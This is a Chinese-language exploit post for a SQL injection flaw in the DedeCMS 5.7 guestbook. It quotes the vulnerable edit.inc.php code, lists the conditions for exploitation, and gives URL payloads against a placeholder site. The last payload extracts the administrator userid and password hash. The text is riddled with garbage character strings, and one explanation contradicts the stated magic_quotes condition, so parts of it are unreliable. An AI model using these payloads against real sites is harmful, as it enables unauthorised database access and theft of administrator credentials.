dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
, a# P+ g; ~' d8 [5 _: K
漏洞文件edit.inc.php具体代码：

< ?php  
9 d9 T% x5 c! W
if(!defined('DEDEINC')) exit('Request Error!');  

: L# ]+ h6 v$ v8 n: }6 x   
- a6 c/ ?- m8 b* E
: Y3 ^2 G) D3 `5 ^7 ^' E5 Kif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
; T3 F# {: y' z
/ K2 {# l5 e+ b! A6 j2 qelse $GUEST_BOOK_POS = "guestbook.php";  

   
' @6 U; y' r. l5 v  o2 [9 D$ v
9 M: p* `& U3 V; c2 u$id = intval($id);  

% l. ?- K& I- }; x( uif(empty($job)) $job='view';  
, h5 g% ^5 O# X* Y% k. u: ?7 p, h
   

if($job=='del' && $g_isadmin)  
7 Z+ A3 R3 X; @6 n! e7 e+ [
; R% i- L9 b/ h% e$ _{  

0 J" d( m% h' o) C! s$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
3 C9 O' w$ M- b5 L
exit();  
' H) ~) h! ~! T% W! d2 g; B# G
}  

2 v; x9 D% E' B' U; W' relse if($job=='check' && $g_isadmin)  

& A1 M4 q7 o6 N{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

) j7 P4 k! h; S* r0 d8 _ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
; E# g; A8 X: ]9 L3 }
* ]( a* @- E( e; kexit();  

}  
* P% e8 l- U, D4 `. b1 N) h' _& m
else if($job=='editok')  
- H9 m* E9 O3 e
{  

  D2 V: p1 l4 }+ s1 k" s: C$remsg = trim($remsg);  
; O- u8 ]  V7 l. o' e
if($remsg!='')  

{  
3 m+ C$ e6 B# n2 u
//管理员回复不过滤HTML By:Errorera blog:errs.cc  

if($g_isadmin)  

4 M, w' L$ g7 {2 p3 [6 i{  
3 G+ g/ O% f' f' w4 Q8 M1 |
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

# _! @/ N* A) d6 R! X/ N/ N//$remsg <br /><font color=red>管理员回复：</font> }  

else

{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
( S! M. u+ P, G7 q+ G% ~5 j: o
* E# q) V- }# ]1 T2 t! p; }$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

% M6 ^' N6 m- S3 c$msg = $oldmsg.$remsg;  

}  
' b$ ?) T% r, |- a8 M' x
; ^* L4 ]1 F- Z) ?0 i}  
) M) R' e" U* L" y  e
; h6 b1 u* s) z- Z* d//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
3 e5 s. W3 a4 I1 P9 M! ~" e
" l9 z  ]3 H! _. v( h: z8 [% G$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
$ _! J$ t9 h% h2 b6 Y2 w
ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

! |4 t/ R0 H  A& j+ [exit();  
5 Z3 D  f3 w/ _" m
: E3 k, `6 y( D, ]}  
3 }0 H, s/ t: f' `
+ ]5 S9 E( u* v/ |; A//home:www.errs.cc  
2 x0 {( W1 S( J. f) E, r  }
8 i! v4 Z6 r- p7 i- z& ?: H$ i5 N2 vif($g_isadmin)  

{  
/ p  j* w/ e+ B6 V
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
( i; B) t# g& r* {* M
( h! e3 O# T3 V. @require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
( H. J1 K9 I" y" r9 @6 N; _/ k
}  

" o. P! e3 B" ~* j8 ?else
1 L3 i1 f0 f$ |+ E( ]5 S8 ^
{  
* ^* _5 Q* [, e" B7 u2 z# z
& n8 v" x/ y8 c: @: a$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
4 t  u: h9 `5 |+ I- R, r" g0 ?
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

* N& ]  H3 Y, ~} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
8 o3 N1 ~2 n4 V: C3 D0 @: l8 n2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

5 m1 c: o& v- J怎么判断是否存在漏洞：
0 N5 \4 ]4 V5 q2 n( L- g' \1 F9 {先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
- n/ Z! C& ^8 q6 W  w/ ~; p! G访问：

( D% x* e6 A/ Y- T6 B. _/ zwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证

% q# u' X3 s$ I
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
6 }% G( a  b8 R- L9 A, m如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

2 ^6 |3 V% m' S! Twww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
7 Y  E8 Q1 k; O' }
; J5 p1 d5 q! M6 Y* ]3 A大概利用就是这样，大家有兴趣的多研究下！！

  C4 D" j3 L6 ^6 F最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='